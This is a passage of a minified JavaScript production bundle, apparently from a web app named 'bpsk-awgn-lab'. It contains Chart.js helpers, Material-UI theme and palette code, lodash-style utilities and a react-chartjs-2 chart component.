h=i.model.x-r.model.x;r.deltaK=0!==h?(i.model.y-r.model.y)/h:0}!n||n.model.skip?r.mK=r.deltaK:!i||i.model.skip?r.mK=n.deltaK:this.sign(n.deltaK)!==this.sign(r.deltaK)?r.mK=0:r.mK=(n.deltaK+r.deltaK)/2}for(t=0;t<f-1;++t)r=c[t],i=c[t+1],r.model.skip||i.model.skip||(B.almostEquals(r.deltaK,0,this.EPSILON)?r.mK=i.mK=0:(a=r.mK/r.deltaK,o=i.mK/r.deltaK,(l=Math.pow(a,2)+Math.pow(o,2))<=9||(s=3/Math.sqrt(l),r.mK=a*s*r.deltaK,i.mK=o*s*r.deltaK)));for(t=0;t<f;++t)(r=c[t]).model.skip||(n=t>0?c[t-1]:null,i=t<f-1?c[t+1]:null,n&&!n.model.skip&&(u=(r.model.x-n.model.x)/3,r.model.controlPointPreviousX=r.model.x-u,r.model.controlPointPreviousY=r.model.y-u*r.mK),i&&!i.model.skip&&(u=(i.model.x-r.model.x)/3,r.model.controlPointNextX=r.model.x+u,r.model.controlPointNextY=r.model.y+u*r.mK))},B.nextItem=function(e,t,n){return n?t>=e.length-1?e[0]:e[t+1]:t>=e.length-1?e[e.length-1]:e[t+1]},B.previousItem=function(e,t,n){return n?t<=0?e[e.length-1]:e[t-1]:t<=0?e[0]:e[t-1]},B.niceNum=function(e,t){var n=Math.floor(B.log10(e)),r=e/Math.pow(10,n);return(t?r<1.5?1:r<3?2:r<7?5:10:r<=1?1:r<=2?2:r<=5?5:10)*Math.pow(10,n)},B.requestAnimFrame="undefined"===typeof window?function(e){e()}:window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(e){return window.setTimeout(e,1e3/60)},B.getRelativePosition=function(e,t){var n,r,i=e.originalEvent||e,a=e.target||e.srcElement,o=a.getBoundingClientRect(),s=i.touches;s&&s.length>0?(n=s[0].clientX,r=s[0].clientY):(n=i.clientX,r=i.clientY);var l=parseFloat(B.getStyle(a,"padding-left")),u=parseFloat(B.getStyle(a,"padding-top")),c=parseFloat(B.getStyle(a,"padding-right")),f=parseFloat(B.getStyle(a,"padding-bottom")),h=o.right-o.left-l-c,d=o.bottom-o.top-u-f;return{x:n=Math.round((n-o.left-l)/h*a.width/t.currentDevicePixelRatio),y:r=Math.round((r-o.top-u)/d*a.height/t.currentDevicePixelRatio)}},B.getConstraintWidth=function(e){return n(e,"max-width","clientWidth")},B.getConstraintHeight=function(e){return n(e,"max-height","clientHeight")},B._calculatePadding=function(e,t,n){return(t=B.getStyle(e,t)).indexOf("%")>-1?n*parseInt(t,10)/100:parseInt(t,10)},B._getParentNode=function(e){var t=e.parentNode;return t&&"[object ShadowRoot]"===t.toString()&&(t=t.host),t},B.getMaximumWidth=function(e){var t=B._getParentNode(e);if(!t)return e.clientWidth;var n=t.clientWidth,r=n-B._calculatePadding(t,"padding-left",n)-B._calculatePadding(t,"padding-right",n),i=B.getConstraintWidth(e);return isNaN(i)?r:Math.min(r,i)},B.getMaximumHeight=function(e){var t=B._getParentNode(e);if(!t)return e.clientHeight;var n=t.clientHeight,r=n-B._calculatePadding(t,"padding-top",n)-B._calculatePadding(t,"padding-bottom",n),i=B.getConstraintHeight(e);return isNaN(i)?r:Math.min(r,i)},B.getStyle=function(e,t){return e.currentStyle?e.currentStyle[t]:document.defaultView.getComputedStyle(e,null).getPropertyValue(t)},B.retinaScale=function(e,t){var n=e.currentDevicePixelRatio=t||"undefined"!==typeof window&&window.devicePixelRatio||1;if(1!==n){var r=e.canvas,i=e.height,a=e.width;r.height=i*n,r.width=a*n,e.ctx.scale(n,n),r.style.height||r.style.width||(r.style.height=i+"px",r.style.width=a+"px")}},B.fontString=function(e,t,n){return t+" "+e+"px "+n},B.longestText=function(e,t,n,r){var i=(r=r||{}).data=r.data||{},a=r.garbageCollect=r.garbageCollect||[];r.font!==t&&(i=r.data={},a=r.garbageCollect=[],r.font=t),e.font=t;var o,s,l,u,c,f=0,h=n.length;for(o=0;o<h;o++)if(void 0!==(u=n[o])&&null!==u&&!0!==B.isArray(u))f=B.measureText(e,i,a,f,u);else if(B.isArray(u))for(s=0,l=u.length;s<l;s++)void 0===(c=u[s])||null===c||B.isArray(c)||(f=B.measureText(e,i,a,f,c));var d=a.length/2;if(d>n.length){for(o=0;o<d;o++)delete i[a[o]];a.splice(0,d)}return f},B.measureText=function(e,t,n,r,i){var a=t[i];return a||(a=t[i]=e.measureText(i).width,n.push(i)),a>r&&(r=a),r},B.numberOfLabelLines=function(e){var t=1;return B.each(e,(function(e){B.isArray(e)&&e.length>t&&(t=e.length)})),t},B.color=w?function(e){return e instanceof CanvasGradient&&(e=I.global.defaultColor),w(e)}:function(e){return console.error("Color.js not found!"),e},B.getHoverColor=function(e){return e instanceof CanvasPattern||e instanceof CanvasGradient?e:B.color(e).saturate(.5).darken(.1).rgbString()}}(),Xt._adapters=Jt,Xt.Animation=Z,Xt.animationService=X,Xt.controllers=Xe,Xt.DatasetController=te,Xt.defaults=I,Xt.Element=$,Xt.elements=xe,Xt.Interaction=rt,Xt.layouts=dt,Xt.platform=Ot,Xt.plugins=Et,Xt.Scale=mn,Xt.scaleService=Ct,Xt.Ticks=en,Xt.Tooltip=Vt,Xt.helpers.each(lr,(function(e,t){Xt.scaleService.registerScaleType(t,e,e._defaults)})),Cr)Cr.hasOwnProperty(zr)&&Xt.plugins.register(Cr[zr]);Xt.platform.initialize();var Dr=Xt;return"undefined"!==typeof window&&(window.Chart=Xt),Xt.Chart=Xt,Xt.Legend=Cr.legend._element,Xt.Title=Cr.title._element,Xt.pluginService=Xt.plugins,Xt.PluginBase=Xt.Element.extend({}),Xt.canvasHelpers=Xt.helpers.canvas,Xt.layoutService=Xt.layouts,Xt.LinearScaleBase=wn,Xt.helpers.each(["Bar","Bubble","Doughnut","Line","PolarArea","Radar","Scatter"],(function(e){Xt[e]=function(t,n){return new Xt(t,Xt.helpers.merge(n||{},{type:e.charAt(0).toLowerCase()+e.slice(1)}))}})),Dr}(function(){try{return n(87)}catch(e){}}())},function(e,t,n){var r=n(38);e.exports=function(e,t){return r(e,t)}},function(e,t,n){var r=n(29),i=n(100),a=n(101),o=r?r.toStringTag:void 0;e.exports=function(e){return null==e?void 0===e?"[object Undefined]":"[object Null]":o&&o in Object(e)?i(e):a(e)}},function(e,t){e.exports=function(e){return null!=e&&"object"==typeof e}},function(e,t,n){"use strict";function r(e){return(r="function"===typeof Symbol&&"symbol"===typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"===typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}n.d(t,"a",(function(){return r}))},function(e,t,n){"use strict";function r(e){return e.charAt(0).toUpperCase()+e.slice(1)}n.d(t,"a",(function(){return r}))},function(e,t,n){"use strict";function r(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}n.d(t,"a",(function(){return r}))},function(e,t,n){"use strict";function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}n.d(t,"a",(function(){return r}))},function(e,t,n){var r=n(89),i=n(90),a=n(91),o=n(92),s=n(93);function l(e){var t=-1,n=null==e?0:e.length;for(this.clear();++t<n;){var r=e[t];this.set(r[0],r[1])}}l.prototype.clear=r,l.prototype.delete=i,l.prototype.get=a,l.prototype.has=o,l.prototype.set=s,e.exports=l},function(e,t,n){var r=n(53);e.exports=function(e,t){for(var n=e.length;n--;)if(r(e[n][0],t))return n;return-1}},function(e,t,n){var r=n(11).Symbol;e.exports=r},function(e,t,n){var r=n(15)(Object,"create");e.exports=r},function(e,t,n){var r=n(113);e.exports=function(e,t){var n=e.__data__;return r(t)?n["string"==typeof t?"string":"hash"]:n.map}},function(e,t,n){var r=n(45);e.exports=function(e){if("string"==typeof e||r(e))return e;var t=e+"";return"0"==t&&1/e==-1/0?"-0":t}},function(e,t,n){"use strict";!function e(){if("undefined"!==typeof __REACT_DEVTOOLS_GLOBAL_HOOK__&&"function"===typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE){0;try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(e)}catch(t){console.error(t)}}}(),e.exports=n(80)},function(e,t,n){"use strict";n.d(t,"a",(function(){return i}));var r=n(25);function i(e,t){if(e){if("string"===typeof e)return Object(r.a)(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(n):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?Object(r.a)(e,t):void 0}}},function(e,t,n){"use strict";var r=n(26),i=n(5),a=n(208),o=n(2),s=["xs","sm","md","lg","xl"];function l(e){var t=e.values,n=void 0===t?{xs:0,sm:600,md:960,lg:1280,xl:1920}:t,r=e.unit,a=void 0===r?"px":r,l=e.step,u=void 0===l?5:l,c=Object(i.a)(e,["values","unit","step"]);function f(e){var t="number"===typeof n[e]?n[e]:e;return"@media (min-width:".concat(t).concat(a,")")}function h(e,t){var r=s.indexOf(t);return r===s.length-1?f(e):"@media (min-width:".concat("number"===typeof n[e]?n[e]:e).concat(a,") and ")+"(max-width:".concat((-1!==r&&"number"===typeof n[s[r+1]]?n[s[r+1]]:t)-u/100).concat(a,")")}return Object(o.a)({keys:s,values:n,up:f,down:function(e){var t=s.indexOf(e)+1,r=n[s[t]];return t===s.length?f("xs"):"@media (max-width:".concat(("number"===typeof r&&t>0?r:e)-u/100).concat(a,")")},between:h,only:function(e){return h(e,e)},width:function(e){return n[e]}},c)}function u(e,t,n){var i;return Object(o.a)({gutters:function(){var n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return Object(o.a)({paddingLeft:t(2),paddingRight:t(2)},n,Object(r.a)({},e.up("sm"),Object(o.a)({paddingLeft:t(3),paddingRight:t(3)},n[e.up("sm")])))},toolbar:(i={minHeight:56},Object(r.a)(i,"".concat(e.up("xs")," and (orientation: landscape)"),{minHeight:48}),Object(r.a)(i,e.up("sm"),{minHeight:64}),i)},n)}var c={black:"#000",white:"#fff"},f={50:"#fafafa",100:"#f5f5f5",200:"#eeeeee",300:"#e0e0e0",400:"#bdbdbd",500:"#9e9e9e",600:"#757575",700:"#616161",800:"#424242",900:"#212121",A100:"#d5d5d5",A200:"#aaaaaa",A400:"#303030",A700:"#616161"},h={50:"#e8eaf6",100:"#c5cae9",200:"#9fa8da",300:"#7986cb",400:"#5c6bc0",500:"#3f51b5",600:"#3949ab",700:"#303f9f",800:"#283593",900:"#1a237e",A100:"#8c9eff",A200:"#536dfe",A400:"#3d5afe",A700:"#304ffe"},d={50:"#fce4ec",100:"#f8bbd0",200:"#f48fb1",300:"#f06292",400:"#ec407a",500:"#e91e63",600:"#d81b60",700:"#c2185b",800:"#ad1457",900:"#880e4f",A100:"#ff80ab",A200:"#ff4081",A400:"#f50057",A700:"#c51162"},p={50:"#ffebee",100:"#ffcdd2",200:"#ef9a9a",300:"#e57373",400:"#ef5350",500:"#f44336",600:"#e53935",700:"#d32f2f",800:"#c62828",900:"#b71c1c",A100:"#ff8a80",A200:"#ff5252",A400:"#ff1744",A700:"#d50000"},m={50:"#fff3e0",100:"#ffe0b2",200:"#ffcc80",300:"#ffb74d",400:"#ffa726",500:"#ff9800",600:"#fb8c00",700:"#f57c00",800:"#ef6c00",900:"#e65100",A100:"#ffd180",A200:"#ffab40",A400:"#ff9100",A700:"#ff6d00"},v={50:"#e3f2fd",100:"#bbdefb",200:"#90caf9",300:"#64b5f6",400:"#42a5f5",500:"#2196f3",600:"#1e88e5",700:"#1976d2",800:"#1565c0",900:"#0d47a1",A100:"#82b1ff",A200:"#448aff",A400:"#2979ff",A700:"#2962ff"},g={50:"#e8f5e9",100:"#c8e6c9",200:"#a5d6a7",300:"#81c784",400:"#66bb6a",500:"#4caf50",600:"#43a047",700:"#388e3c",800:"#2e7d32",900:"#1b5e20",A100:"#b9f6ca",A200:"#69f0ae",A400:"#00e676",A700:"#00c853"},y=n(10),b={text:{primary:"rgba(0, 0, 0, 0.87)",secondary:"rgba(0, 0, 0, 0.54)",disabled:"rgba(0, 0, 0, 0.38)",hint:"rgba(0, 0, 0, 0.38)"},divider:"rgba(0, 0, 0, 0.12)",background:{paper:c.white,default:f[50]},action:{active:"rgba(0, 0, 0, 0.54)",hover:"rgba(0, 0, 0, 0.04)",hoverOpacity:.04,selected:"rgba(0, 0, 0, 0.08)",selectedOpacity:.08,disabled:"rgba(0, 0, 0, 0.26)",disabledBackground:"rgba(0, 0, 0, 0.12)",disabledOpacity:.38,focus:"rgba(0, 0, 0, 0.12)",focusOpacity:.12,activatedOpacity:.12}},x={text:{primary:c.white,secondary:"rgba(255, 255, 255, 0.7)",disabled:"rgba(255, 255, 255, 0.5)",hint:"rgba(255, 255, 255, 0.5)",icon:"rgba(255, 255, 255, 0.5)"},divider:"rgba(255, 255, 255, 0.12)",background:{paper:f[800],default:"#303030"},action:{active:c.white,hover:"rgba(255, 255, 255, 0.08)",hoverOpacity:.08,selected:"rgba(255, 255, 255, 0.16)",selectedOpacity:.16,disabled:"rgba(255, 255, 255, 0.3)",disabledBackground:"rgba(255, 255, 255, 0.12)",disabledOpacity:.38,focus:"rgba(255, 255, 255, 0.12)",focusOpacity:.12,activatedOpacity:.24}};function w(e,t,n,r){e[t]||(e.hasOwnProperty(n)?e[t]=e[n]:"light"===t?e.light=Object(y.d)(e.main,r):"dark"===t&&(e.dark=Object(y.a)(e.main,1.5*r)))}function k(e){var t=e.primary,n=void 0===t?{light:h[300],main:h[500],dark:h[700]}:t,r=e.secondary,s=void 0===r?{light:d.A200,main:d.A400,dark:d.A700}:r,l=e.error,u=void 0===l?{light:p[300],main:p[500],dark:p[700]}:l,k=e.warning,_=void 0===k?{light:m[300],main:m[500],dark:m[700]}:k,M=e.info,S=void 0===M?{light:v[300],main:v[500],dark:v[700]}:M,T=e.success,O=void 0===T?{light:g[300],main:g[500],dark:g[700]}:T,E=e.type,C=void 0===E?"light":E,N=e.contrastThreshold,P=void 0===N?3:N,A=e.tonalOffset,z=void 0===A?.2:A,D=Object(i.a)(e,["primary","secondary","error","warning","info","success","type","contrastThreshold","tonalOffset"]);function I(e){return Object(y.c)(e,x.text.primary)>=P?x.text.primary:b.text.primary}var R=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:500,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:300,r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:700;if(!(e=Object(o.a)({},e)).main&&e[t]&&(e.main=e[t]),!e.main)throw new Error(["Material-UI: the color provided to augmentColor(color) is invalid.","The color object needs to have a `main` property or a `".concat(t,"` property.")].join("\n"));if("string"!==typeof e.main)throw new Error(["Material-UI: the color provided to augmentColor(color) is invalid.","`color.main` should be a string, but `".concat(JSON.stringify(e.main),"` was provided instead."),"","Did you intend to use one of the following approaches?","",'import {\xa0green } from "@material-ui/core/colors";',"","const theme1 = createMuiTheme({ palette: {"," primary: green,","} });","","const theme2 = createMuiTheme({ palette: {"," primary: { main: green[500] },","} });"].join("\n"));return w(e,"light",n,z),w(e,"dark",r,z),e.contrastText||(e.contrastText=I(e.main)),e},j={dark:x,light:b};return Object(a.a)(Object(o.a)({common:c,type:C,primary:R(n),secondary:R(s,"A400","A200","A700"),error:R(u),warning:R(_),info:R(S),success:R(O),grey:f,contrastThreshold:P,getContrastText:I,augmentColor:R,tonalOffset:z},j[C]),D)}function _(e){return Math.round(1e5*e)/1e5}var M={textTransform:"uppercase"};function S(e,t){var n="function"===typeof t?t(e):t,r=n.fontFamily,s=void 0===r?'"Roboto", "Helvetica", "Arial", sans-serif':r,l=n.fontSize,u=void 0===l?14:l,c=n.fontWeightLight,f=void 0===c?300:c,h=n.fontWeightRegular,d=void 0===h?400:h,p=n.fontWeightMedium,m=void 0===p?500:p,v=n.fontWeightBold,g=void 0===v?700:v,y=n.htmlFontSize,b=void 0===y?16:y,x=n.allVariants,w=n.pxToRem,k=Object(i.a)(n,["fontFamily","fontSize","fontWeightLight","fontWeightRegular","fontWeightMedium","fontWeightBold","htmlFontSize","allVariants","pxToRem"]);var S=u/14,T=w||function(e){return"".concat(e/b*S,"rem")},O=function(e,t,n,r,i){return Object(o.a)({fontFamily:s,fontWeight:e,fontSize:T(t),lineHeight:n},'"Roboto", "Helvetica", "Arial", sans-serif'===s?{letterSpacing:"".concat(_(r/t),"em")}:{},{},i,{},x)},E={h1:O(f,96,1.167,-1.5),h2:O(f,60,1.2,-.5),h3:O(d,48,1.167,0),h4:O(d,34,1.235,.25),h5:O(d,24,1.334,0),h6:O(m,20,1.6,.15),subtitle1:O(d,16,1.75,.15),subtitle2:O(m,14,1.57,.1),body1:O(d,16,1.5,.15),body2:O(d,14,1.43,.15),button:O(m,14,1.75,.4,M),caption:O(d,12,1.66,.4),overline:O(d,12,2.66,1,M)};return Object(a.a)(Object(o.a)({htmlFontSize:b,pxToRem:T,round:_,fontFamily:s,fontSize:u,fontWeightLight:f,fontWeightRegular:d,fontWeightMedium:m,fontWeightBold:g},E),k,{clone:!1})}function T(){return["".concat(arguments.length<=0?void 0:arguments[0],"px ").concat(arguments.length<=1?void 0:arguments[1],"px ").concat(arguments.length<=2?void 0:arguments[2],"px ").concat(arguments.length<=3?void 0:arguments[3],"px rgba(0,0,0,").concat(.2,")"),"".concat(arguments.length<=4?void 0:arguments[4],"px ").concat(arguments.length<=5?void 0:arguments[5],"px ").concat(arguments.length<=6?void 0:arguments[6],"px ").concat(arguments.length<=7?void 0:arguments[7],"px rgba(0,0,0,").concat(.14,")"),"".concat(arguments.length<=8?void 0:arguments[8],"px ").concat(arguments.length<=9?void 0:arguments[9],"px ").concat(arguments.length<=10?void 0:arguments[10],"px ").concat(arguments.length<=11?void 0:arguments[11],"px rgba(0,0,0,").concat(.12,")")].join(",")}var O=["none",T(0,2,1,-1,0,1,1,0,0,1,3,0),T(0,3,1,-2,0,2,2,0,0,1,5,0),T(0,3,3,-2,0,3,4,0,0,1,8,0),T(0,2,4,-1,0,4,5,0,0,1,10,0),T(0,3,5,-1,0,5,8,0,0,1,14,0),T(0,3,5,-1,0,6,10,0,0,1,18,0),T(0,4,5,-2,0,7,10,1,0,2,16,1),T(0,5,5,-3,0,8,10,1,0,3,14,2),T(0,5,6,-3,0,9,12,1,0,3,16,2),T(0,6,6,-3,0,10,14,1,0,4,18,3),T(0,6,7,-4,0,11,15,1,0,4,20,3),T(0,7,8,-4,0,12,17,2,0,5,22,4),T(0,7,8,-4,0,13,19,2,0,5,24,4),T(0,7,9,-4,0,14,21,2,0,5,26,4),T(0,8,9,-5,0,15,22,2,0,6,28,5),T(0,8,10,-5,0,16,24,2,0,6,30,5),T(0,8,11,-5,0,17,26,2,0,6,32,5),T(0,9,11,-5,0,18,28,2,0,7,34,6),T(0,9,12,-6,0,19,29,2,0,7,36,6),T(0,10,13,-6,0,20,31,3,0,8,38,7),T(0,10,13,-6,0,21,33,3,0,8,40,7),T(0,10,14,-6,0,22,35,3,0,8,42,7),T(0,11,14,-7,0,23,36,3,0,9,44,8),T(0,11,15,-7,0,24,38,3,0,9,46,8)],E={borderRadius:4},C=n(36),N=(n(14),n(23));n(1);var P=function(e,t){return t?Object(a.a)(e,t,{clone:!1}):e},A={xs:0,sm:600,md:960,lg:1280,xl:1920},z={keys:["xs","sm","md","lg","xl"],up:function(e){return"@media (min-width:".concat(A[e],"px)")}};var D={m:"margin",p:"padding"},I={t:"Top",r:"Right",b:"Bottom",l:"Left",x:["Left","Right"],y:["Top","Bottom"]},R={marginX:"mx",marginY:"my",paddingX:"px",paddingY:"py"},j=function(e){var t={};return function(n){return void 0===t[n]&&(t[n]=e(n)),t[n]}}((function(e){if(e.length>2){if(!R[e])return[e];e=R[e]}var t=e.split(""),n=Object(C.a)(t,2),r=n[0],i=n[1],a=D[r],o=I[i]||"";return Array.isArray(o)?o.map((function(e){return a+e})):[a+o]})),F=["m","mt","mr","mb","ml","mx","my","p","pt","pr","pb","pl","px","py","margin","marginTop","marginRight","marginBottom","marginLeft","marginX","marginY","padding","paddingTop","paddingRight","paddingBottom","paddingLeft","paddingX","paddingY"];function L(e){var t=e.spacing||8;return"number"===typeof t?function(e){return t*e}:Array.isArray(t)?function(e){return t[e]}:"function"===typeof t?t:function(){}}function B(e,t){return function(n){return e.reduce((function(e,r){return e[r]=function(e,t){if("string"===typeof t)return t;var n=e(Math.abs(t));return t>=0?n:"number"===typeof n?-n:"-".concat(n)}(t,n),e}),{})}}function V(e){var t=L(e.theme);return Object.keys(e).map((function(n){if(-1===F.indexOf(n))return null;var r=B(j(n),t),i=e[n];return function(e,t,n){if(Array.isArray(t)){var r=e.theme.breakpoints||z;return t.reduce((function(e,i,a){return e[r.up(r.keys[a])]=n(t[a]),e}),{})}if("object"===Object(N.a)(t)){var i=e.theme.breakpoints||z;return Object.keys(t).reduce((function(e,r){return e[i.up(r)]=n(t[r]),e}),{})}return n(t)}(e,i,r)})).reduce(P,{})}V.propTypes={},V.filterProps=F;function H(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:8;if(e.mui)return e;var t=L({spacing:e}),n=function(){for(var e=arguments.length,n=new Array(e),r=0;r<e;r++)n[r]=arguments[r];return 0===n.length?t(1):1===n.length?t(n[0]):n.map((function(e){if("string"===typeof e)return e;var n=t(e);return"number"===typeof n?"".concat(n,"px"):n})).join(" ")};return Object.defineProperty(n,"unit",{get:function(){return e}}),n.mui=!0,n}var W={easeInOut:"cubic-bezier(0.4, 0, 0.2, 1)",easeOut:"cubic-bezier(0.0, 0, 0.2, 1)",easeIn:"cubic-bezier(0.4, 0, 1, 1)",sharp:"cubic-bezier(0.4, 0, 0.6, 1)"},q={shortest:150,shorter:200,short:250,standard:300,complex:375,enteringScreen:225,leavingScreen:195};function Y(e){return"".concat(Math.round(e),"ms")}var U={easing:W,duration:q,create:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:["all"],t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=t.duration,r=void 0===n?q.standard:n,a=t.easing,o=void 0===a?W.easeInOut:a,s=t.delay,l=void 0===s?0:s;Object(i.a)(t,["duration","easing","delay"]);return(Array.isArray(e)?e:[e]).map((function(e){return"".concat(e," ").concat("string"===typeof r?r:Y(r)," ").concat(o," ").concat("string"===typeof l?l:Y(l))})).join(",")},getAutoHeightDuration:function(e){if(!e)return 0;var t=e/36;return Math.round(10*(4+15*Math.pow(t,.25)+t/5))}},$={mobileStepper:1e3,speedDial:1050,appBar:1100,drawer:1200,modal:1300,snackbar:1400,tooltip:1500};var G=function(){for(var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.breakpoints,n=void 0===t?{}:t,r=e.mixins,o=void 0===r?{}:r,s=e.palette,c=void 0===s?{}:s,f=e.spacing,h=e.typography,d=void 0===h?{}:h,p=Object(i.a)(e,["breakpoints","mixins","palette","spacing","typography"]),m=k(c),v=l(n),g=H(f),y=Object(a.a)({breakpoints:v,direction:"ltr",mixins:u(v,g,o),overrides:{},palette:m,props:{},shadows:O,typography:S(m,d),spacing:g,shape:E,transitions:U,zIndex:$},p),b=arguments.length,x=new Array(b>1?b-1:0),w=1;w<b;w++)x[w-1]=arguments[w];return y=x.reduce((function(e,t){return Object(a.a)(e,t)}),y)}();t.a=G},function(e,t,n){"use strict";n.d(t,"a",(function(){return i}));var r=n(34);function i(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"!==typeof Symbol&&Symbol.iterator in Object(e)){var n=[],r=!0,i=!1,a=void 0;try{for(var o,s=e[Symbol.iterator]();!(r=(o=s.next()).done)&&(n.push(o.value),!t||n.length!==t);r=!0);}catch(l){i=!0,a=l}finally{try{r||null==s.return||s.return()}finally{if(i)throw a}}return n}}(e,t)||Object(r.a)(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}},function(e,t){e.exports=function(e){return e.webpackPolyfill||(e.deprecate=function(){},e.paths=[],e.children||(e.children=[]),Object.defineProperty(e,"loaded",{enumerable:!0,get:function(){return e.l}}),Object.defineProperty(e,"id",{enumerable:!0,get:function(){return e.i}}),e.webpackPolyfill=1),e}},function(e,t,n){var r=n(88),i=n(22);e.exports=function e(t,n,a,o,s){return t===n||(null==t||null==n||!i(t)&&!i(n)?t!==t&&n!==n:r(t,n,a,o,e,s))}},function(e,t,n){var r=n(15)(n(11),"Map");e.exports=r},function(e,t){e.exports=function(e){var t=typeof e;return null!=e&&("object"==t||"function"==t)}},function(e,t,n){var r=n(105),i=n(112),a=n(114),o=n(115),s=n(116);function l(e){var t=-1,n=null==e?0:e.length;for(this.clear();++t<n;){var r=e[t];this.set(r[0],r[1])}}l.prototype.clear=r,l.prototype.delete=i,l.prototype.get=a,l.prototype.has=o,l.prototype.set=s,e.exports=l},function(e,t,n){var r=n(133),i=n(140),a=n(63);e.exports=function(e){return a(e)?r(e):i(e)}},function(e,t){e.exports=function(e){return"number"==typeof e&&e>-1&&e%1==0&&e<=9007199254740991}},function(e,t,n){var r=n(12),i=n(45),a=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,o=/^\w*$/;e.exports=function(e,t){if(r(e))return!1;var n=typeof e;return!("number"!=n&&"symbol"!=n&&"boolean"!=n&&null!=e&&!i(e))||(o.test(e)||!a.test(e)||null!=t&&e in Object(t))}},function(e,t,n){var r=n(21),i=n(22);e.exports=function(e){return"symbol"==typeof e||i(e)&&"[object Symbol]"==r(e)}},function(e,t,n){"use strict";(function(e){n.d(t,"a",(function(){return x}));var r=n(0),i=n.n(r),a=n(1),o=n.n(a),s=n(19),l=n.n(s),u=n(20),c=n.n(u),f=n(70),h=n.n(f),d=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e};function p(e,t){var n={};for(var r in e)t.indexOf(r)>=0||Object.prototype.hasOwnProperty.call(e,r)&&(n[r]=e[r]);return n}function m(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function v(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!==typeof t&&"function"!==typeof t?e:t}function g(e,t){if("function"!==typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}var y="undefined"!==typeof e&&Object({NODE_ENV:"production",PUBLIC_URL:"/bpsk-awgn-lab",WDS_SOCKET_HOST:void 0,WDS_SOCKET_PATH:void 0,WDS_SOCKET_PORT:void 0})&&"production",b=function(e){function t(){m(this,t);var n=v(this,e.call(this));return n.handleOnClick=function(e){var t=n.chartInstance,r=n.props,i=r.getDatasetAtEvent,a=r.getElementAtEvent,o=r.getElementsAtEvent,s=r.onElementsClick;i&&i(t.getDatasetAtEvent(e),e),a&&a(t.getElementAtEvent(e),e),o&&o(t.getElementsAtEvent(e),e),s&&s(t.getElementsAtEvent(e),e)},n.ref=function(e){n.element=e},n.chartInstance=void 0,n}return g(t,e),t.prototype.componentDidMount=function(){this.renderChart()},t.prototype.componentDidUpdate=function(){if(this.props.redraw)return this.destroyChart(),void this.renderChart();this.updateChart()},t.prototype.shouldComponentUpdate=function(e){var t=this.props,n=(t.redraw,t.type),r=t.options,i=t.plugins,a=t.legend,o=t.height,s=t.width;if(!0===e.redraw)return!0;if(o!==e.height||s!==e.width)return!0;if(n!==e.type)return!0;if(!c()(a,e.legend))return!0;if(!c()(r,e.options))return!0;var l=this.transformDataProp(e);return!c()(this.shadowDataProp,l)||!c()(i,e.plugins)},t.prototype.componentWillUnmount=function(){this.destroyChart()},t.prototype.transformDataProp=function(e){var t=e.data;return"function"==typeof t?t(this.element):t},t.prototype.memoizeDataProps=function(){if(this.props.data){var e=this.transformDataProp(this.props);return this.shadowDataProp=d({},e,{datasets:e.datasets&&e.datasets.map((function(e){return d({},e)}))}),this.saveCurrentDatasets(),e}},t.prototype.checkDatasets=function(e){var n="production"!==y&&"prod"!==y,r=this.props.datasetKeyProvider!==t.getLabelAsKey,i=e.length>1;if(n&&i&&!r){var a=!1;e.forEach((function(e){e.label||(a=!0)})),a&&console.error('[react-chartjs-2] Warning: Each dataset needs a unique key. By default, the "label" property on each dataset is used. Alternatively, you may provide a "datasetKeyProvider" as a prop that returns a unique key.')}},t.prototype.getCurrentDatasets=function(){return this.chartInstance&&this.chartInstance.config.data&&this.chartInstance.config.data.datasets||[]},t.prototype.saveCurrentDatasets=function(){var e=this;this.datasets=this.datasets||{},this.getCurrentDatasets().forEach((function(t){e.datasets[e.props.datasetKeyProvider(t)]=t}))},t.prototype.updateChart=function(){var e=this,t=this.props.options,n=this.memoizeDataProps(this.props);if(this.chartInstance){t&&(this.chartInstance.options=l.a.helpers.configMerge(this.chartInstance.options,t));var r=this.getCurrentDatasets(),i=n.datasets||[];this.checkDatasets(r);var a=h()(r,this.props.datasetKeyProvider);this.chartInstance.config.data.datasets=i.map((function(t){var n=a[e.props.datasetKeyProvider(t)];if(n&&n.type===t.type&&t.data){n.data.splice(t.data.length),t.data.forEach((function(e,r){n.data[r]=t.data[r]}));t.data;var r=p(t,["data"]);return d({},n,r)}return t}));n.datasets;var 